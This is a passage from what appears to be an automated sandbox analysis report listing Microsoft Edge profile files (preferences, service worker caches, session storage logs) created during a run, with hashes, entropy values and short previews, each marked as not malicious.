SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9861
Entropy (8bit):	5.112455692793718
Encrypted:	false
SSDEEP:	192:st4kdpzsa+aFvrE9kvoq8B6bV+Fb5QAtUXP0YJ:st4Qzsa+CD5bGdQH1
MD5:	77336C0E20D76FEEEF0268D30D90B88A
SHA1:	8D0CE078B71DB5B8D3E4C313E36C41AD5E2635C1
SHA-256:	49FEEB6034C8260E74946F71AB02AE39C9ACC741BFF8ACABE12F44DD61D5F505
SHA-512:	86ACCFB64C2314BA0AFB5CD1C98DBC46DA7F8ADEEA0F5F3B8558A6D3760C023810A2F8BD969E3AB424872AD02E925639C4B37723A2D73BE035FB99B8DFCCD29B
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374773963831317","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3f657.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9861
Entropy (8bit):	5.112455692793718
Encrypted:	false
SSDEEP:	192:st4kdpzsa+aFvrE9kvoq8B6bV+Fb5QAtUXP0YJ:st4Qzsa+CD5bGdQH1
MD5:	77336C0E20D76FEEEF0268D30D90B88A
SHA1:	8D0CE078B71DB5B8D3E4C313E36C41AD5E2635C1
SHA-256:	49FEEB6034C8260E74946F71AB02AE39C9ACC741BFF8ACABE12F44DD61D5F505
SHA-512:	86ACCFB64C2314BA0AFB5CD1C98DBC46DA7F8ADEEA0F5F3B8558A6D3760C023810A2F8BD969E3AB424872AD02E925639C4B37723A2D73BE035FB99B8DFCCD29B
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374773963831317","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF442d2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9861
Entropy (8bit):	5.112455692793718
Encrypted:	false
SSDEEP:	192:st4kdpzsa+aFvrE9kvoq8B6bV+Fb5QAtUXP0YJ:st4Qzsa+CD5bGdQH1
MD5:	77336C0E20D76FEEEF0268D30D90B88A
SHA1:	8D0CE078B71DB5B8D3E4C313E36C41AD5E2635C1
SHA-256:	49FEEB6034C8260E74946F71AB02AE39C9ACC741BFF8ACABE12F44DD61D5F505
SHA-512:	86ACCFB64C2314BA0AFB5CD1C98DBC46DA7F8ADEEA0F5F3B8558A6D3760C023810A2F8BD969E3AB424872AD02E925639C4B37723A2D73BE035FB99B8DFCCD29B
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374773963831317","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4b811.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9861
Entropy (8bit):	5.112455692793718
Encrypted:	false
SSDEEP:	192:st4kdpzsa+aFvrE9kvoq8B6bV+Fb5QAtUXP0YJ:st4Qzsa+CD5bGdQH1
MD5:	77336C0E20D76FEEEF0268D30D90B88A
SHA1:	8D0CE078B71DB5B8D3E4C313E36C41AD5E2635C1
SHA-256:	49FEEB6034C8260E74946F71AB02AE39C9ACC741BFF8ACABE12F44DD61D5F505
SHA-512:	86ACCFB64C2314BA0AFB5CD1C98DBC46DA7F8ADEEA0F5F3B8558A6D3760C023810A2F8BD969E3AB424872AD02E925639C4B37723A2D73BE035FB99B8DFCCD29B
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374773963831317","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.557855134382655
Encrypted:	false
SSDEEP:	768:6KMegXWgg7pLGLpDuW5w8Wf49I8F1+UoAYDCx9Tuqh0VfUC9xbog/OVP/bI0p3dn:6hjX7scpDuWa8WfMIu1jaG15mj3tK
MD5:	142F10A55794B7065CBE8E42E27B249E
SHA1:	85AAC1E99F3AD6094C02C89D5C32E89C6647FBD0
SHA-256:	2C5233F1C5A48EC10E5D9411A8B436F1DFA79E76BCA25D7BCF5BEBFCC8791049
SHA-512:	59D8BD68AABDBE6F620453C6E501626852B8F57EAA07463E021E35D9913FBEE9D7AEDFDEA1D4D882F26C503496EC6FF9EF9B16D84BD731C2308BB2AF0467BDFE
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13374773963150572","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13374773963150572","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3f667.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.557855134382655
Encrypted:	false
SSDEEP:	768:6KMegXWgg7pLGLpDuW5w8Wf49I8F1+UoAYDCx9Tuqh0VfUC9xbog/OVP/bI0p3dn:6hjX7scpDuWa8WfMIu1jaG15mj3tK
MD5:	142F10A55794B7065CBE8E42E27B249E
SHA1:	85AAC1E99F3AD6094C02C89D5C32E89C6647FBD0
SHA-256:	2C5233F1C5A48EC10E5D9411A8B436F1DFA79E76BCA25D7BCF5BEBFCC8791049
SHA-512:	59D8BD68AABDBE6F620453C6E501626852B8F57EAA07463E021E35D9913FBEE9D7AEDFDEA1D4D882F26C503496EC6FF9EF9B16D84BD731C2308BB2AF0467BDFE
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13374773963150572","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13374773963150572","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.834961102364642
Encrypted:	false
SSDEEP:	24:F2xc5NmMcncmo0CRORpllg2DEfRH4VdCRORpllg20HLFKCRORpllg2DnRH47CROy:F2emVtrdDEfBGXrd0HLIrdDnBgrdQBj
MD5:	A9A9500250CB230C4E5411C8911AD1CF
SHA1:	CFE96004A48EAD1078EC713FB8E99D008DDE285E
SHA-256:	5D971ABB03B2D05371178B97D08738488AC9900752E93216402A0991398529BA
SHA-512:	2E5A8FE9BDA90F8ED2D78102BC2592C3B7E47E8C142073601B16A954B54EAC34560EDBF8ECCFE02D0117360A40C387CBF26AFF2B3454CB583FB485999E42394E
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2$iA.m................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8.......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x.................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	303
Entropy (8bit):	5.138346625545905
Encrypted:	false
SSDEEP:	6:6kDRM1N723oH+TcwtE/a252KLlgkISVq2PN723oH+TcwtE/a2ZIFUv:6kNsaYeb8xLCk1VvVaYeb8J2FUv
MD5:	D53C87169D9E8684920481DF4B6E8205
SHA1:	95AFDE4A78DA419B5E33BA2550642AAB02281F26
SHA-256:	514F6C30E75F0A9487D7F547CEF72275A99F7778C352166BCE3BAF3A53C7F83F
SHA-512:	D5FBA0DB5D91C1D36FB25BC1C67DE1946A4E2D2D0DA14784114F8ADA5C54721016EF50AE87DF0BF2A4314ADEAA54B7FE1F2F3395963C3F27D25442131EAAF4E7
Malicious:	false
Preview:	2024/10/30-10:59:39.386 1fe4 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/10/30-10:59:39.399 1fe4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	113334
Entropy (8bit):	5.579809002789835
Encrypted:	false
SSDEEP:	1536:UU906yxPXfOxr1lhCe1A46rCjQ3NG/Gv5eIZBijL/r4L/rVn:59LyxPXfOxr1lMe1Z6rFl8+AL/ML/5
MD5:	DCB6FDA4B06353E51180CE318B8EAB1B
SHA1:	C7076A5D8FE263E65279737EB580958C821EF41B
SHA-256:	E8D5270F3FF61CC28540AB6BAC5CFB0C6D09F58A6562CD500238AE352A474969
SHA-512:	0D321C707FBD27D9C3B920B8099BBD9588425D4C74D99F0A544A2E50BE491F17C1D6B577DD8DA56C3BBF2E26154E53412286E367B25BC8232C78964AF135B9CC
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	187465
Entropy (8bit):	6.38134448003967
Encrypted:	false
SSDEEP:	3072:vsvA2HdBJ1OVt4wlQRn40SgN3R2/HsvDNUijl+UL/0nqlbA:Ft4wl84g5RnNU/UL/tW
MD5:	00014526326125B84FA541585E276693
SHA1:	8F977FCDB26378E4C28A7DF536A44059F4E2F88D
SHA-256:	7B6CB2814B05E4BCAE57F8F7F0EFCE599429ECEF5CE5066FD210630F50549550
SHA-512:	29F647A66724A10C6B0929052EC963DD87AAD09C6587D6ADD3A4EF8D8920DFD87B0935D74A040B435F3C9A720C84D904C4FEFAD67D385703CEE1CCB18107535B
Malicious:	false
Preview:	0\r..m..........rSG.....0...../...............R.......yT.........,T.8..`,.....L`.....,T...`......L`......Rc...l....exports...Rcr..h....module....Rc.s.^....define....Rb........amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m.2v.6b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....A..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da.....Q...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:kitzdXl/lkV/lxEoltcMI+n:kOztkW4SMV
MD5:	38ED47D1D243823D127A71B9FE4D5683
SHA1:	83E0100376FC96C531268F5B9A449AC7C395EE58
SHA-256:	51E812F21138BBE7C139B189B659A0A391A67B285FB3005923EB45BAD888FE28
SHA-512:	AB7C484262AD4556070357FD82F773AC4C9C6CF4752A2570E51A22D31361E2B1530C65E3C9012E8ADB42E3C135BCF26BE0F5B7639D6FA482899F7FD290B8F95E
Malicious:	false
Preview:	@.......oy retne.........................X....,...................<I./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:kitzdXl/lkV/lxEoltcMI+n:kOztkW4SMV
MD5:	38ED47D1D243823D127A71B9FE4D5683
SHA1:	83E0100376FC96C531268F5B9A449AC7C395EE58
SHA-256:	51E812F21138BBE7C139B189B659A0A391A67B285FB3005923EB45BAD888FE28
SHA-512:	AB7C484262AD4556070357FD82F773AC4C9C6CF4752A2570E51A22D31361E2B1530C65E3C9012E8ADB42E3C135BCF26BE0F5B7639D6FA482899F7FD290B8F95E
Malicious:	false
Preview:	@.......oy retne.........................X....,...................<I./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF437b6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:kitzdXl/lkV/lxEoltcMI+n:kOztkW4SMV
MD5:	38ED47D1D243823D127A71B9FE4D5683
SHA1:	83E0100376FC96C531268F5B9A449AC7C395EE58
SHA-256:	51E812F21138BBE7C139B189B659A0A391A67B285FB3005923EB45BAD888FE28
SHA-512:	AB7C484262AD4556070357FD82F773AC4C9C6CF4752A2570E51A22D31361E2B1530C65E3C9012E8ADB42E3C135BCF26BE0F5B7639D6FA482899F7FD290B8F95E
Malicious:	false
Preview:	@.......oy retne.........................X....,...................<I./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	5615
Entropy (8bit):	3.41452781498649
Encrypted:	false
SSDEEP:	96:Xy23SRSOu9UTR8Ftij43b+y3Z/D9FZp+x+Li23D1VB5nLl9iSr/1WE4nm:l8u9nFtiOP9Lp+xciw/B5nLl9iSr/IE5
MD5:	393D3A68B9C6D032FCE8F3D253A2F741
SHA1:	CA320F0BADA38B9E6BCC3B27356252877C77C196
SHA-256:	599601C371BBA1B3CAC95B6608BEC99E524DE96E60758D830CC5925110F4A7C1
SHA-512:	A684A3E2A9C463FE6DCDF45849E1F5D1F98E0E01970BC15919734D31CEFC2DF9726FB38FD175E223ACF52B1AA89DA7DB220D53071D3755DA8EC535637D9E553C
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f................`.yb................next-map-id.1.Cnamespace-b1dc82d2_2d90_48e5_8d25_354676ac4799-https://ntp.msn.com/.0maJ..................map-0-shd_sweeper.({.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.n.p.w.e.a.t.o.d.a.y.,.a.d.s.-.f.l.r.m.g.p.-.n.o.i.s.e.-.t.,.s.i.d.-.f.l.r.n.o.i.s.e.2.,.1.s.-.w.p.o.-.l.o.c.k.-.l.s.-.c.,.s.h.s.t.r.3.c.c.n.,.p.r.g.-.s.h.-.s.h.s.t.r.3.c.a.r.,.p.r.g.-.s.h.-.s.h.s.t.r.n.c.c.n.,.i.c.r.s.c.a.l.l.-.s.p.o.r.t.s.,.p.r.g.-.1.s.w.-.s.a.g.e.e.x.p.f.,.p.r.g.-.1.s.w.-.s.a.g.e.e.x.2.d.,.p.r.g.-.1.s.w.-.s.a.-.m.a.i.p.r.o.f.i.l.e._.t.1.,.p.r.g.-.1.s.w.-.s.a.-.d.l.i.s.m.v.5.t.4.t.,.p.r.g.-.1.s.w.-.s.a.q.e.n.c.b.d.m.-.p.c.,.p.r.e.p.r.g.-.c.g.-.g.a.m.e.-.e.x.p.-.1.,.p.r.g.-.1.s.w.-.a.b.o.r.t.w.v.2.,.1.s.w.-.t.p.s.n.-.d.s.t.p.r.g.1.d.c.y.1.4.-.t.,.1.s.-.t.p.s.n.-.d.s.t.d.c.y.1.4.,.1.s.-.t.p.s.n.p.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.082902675995017
Encrypted:	false
SSDEEP:	6:6k/tIOF39+q2PN723oH+TcwtrQMxIFUt8vk/tGFNJZmw+vk/tC/9VkwON723oH+L:6k1IM4vVaYebCFUt8vk1GFNJ/+vk1C/N
MD5:	EDC3CD31B523A3C237EF9EAEF48989C7
SHA1:	8F2E0B5D2D521652C9DD26709BBEAE3E78684C4E
SHA-256:	3CCDD4DAFCA52C84EC36EE4A30FE0A8C1AC8141B55DAD5070DB8CCD1166BBB60
SHA-512:	F4515C861C9BF78B38D84A296457DC400A12533A8DE6E1B8BA4D423FBA6231572505056BDB6A9C301D9E1CDA228622F954D0C9151DFFB5553ECC7971C9834AC1
Malicious:	false
Preview:	2024/10/30-10:59:24.408 1e28 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/10/30-10:59:24.410 1e28 Recovering log #3.2024/10/30-10:59:24.414 1e28 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.082902675995017
Encrypted:	false
SSDEEP:	6:6k/tIOF39+q2PN723oH+TcwtrQMxIFUt8vk/tGFNJZmw+vk/tC/9VkwON723oH+L:6k1IM4vVaYebCFUt8vk1GFNJ/+vk1C/N
MD5:	EDC3CD31B523A3C237EF9EAEF48989C7
SHA1:	8F2E0B5D2D521652C9DD26709BBEAE3E78684C4E
SHA-256:	3CCDD4DAFCA52C84EC36EE4A30FE0A8C1AC8141B55DAD5070DB8CCD1166BBB60
SHA-512:	F4515C861C9BF78B38D84A296457DC400A12533A8DE6E1B8BA4D423FBA6231572505056BDB6A9C301D9E1CDA228622F954D0C9151DFFB5553ECC7971C9834AC1
Malicious:	false
Preview:	2024/10/30-10:59:24.408 1e28 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/10/30-10:59:24.410 1e28 Recovering log #3.2024/10/30-10:59:24.414 1e28 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13374773965640177

Download File

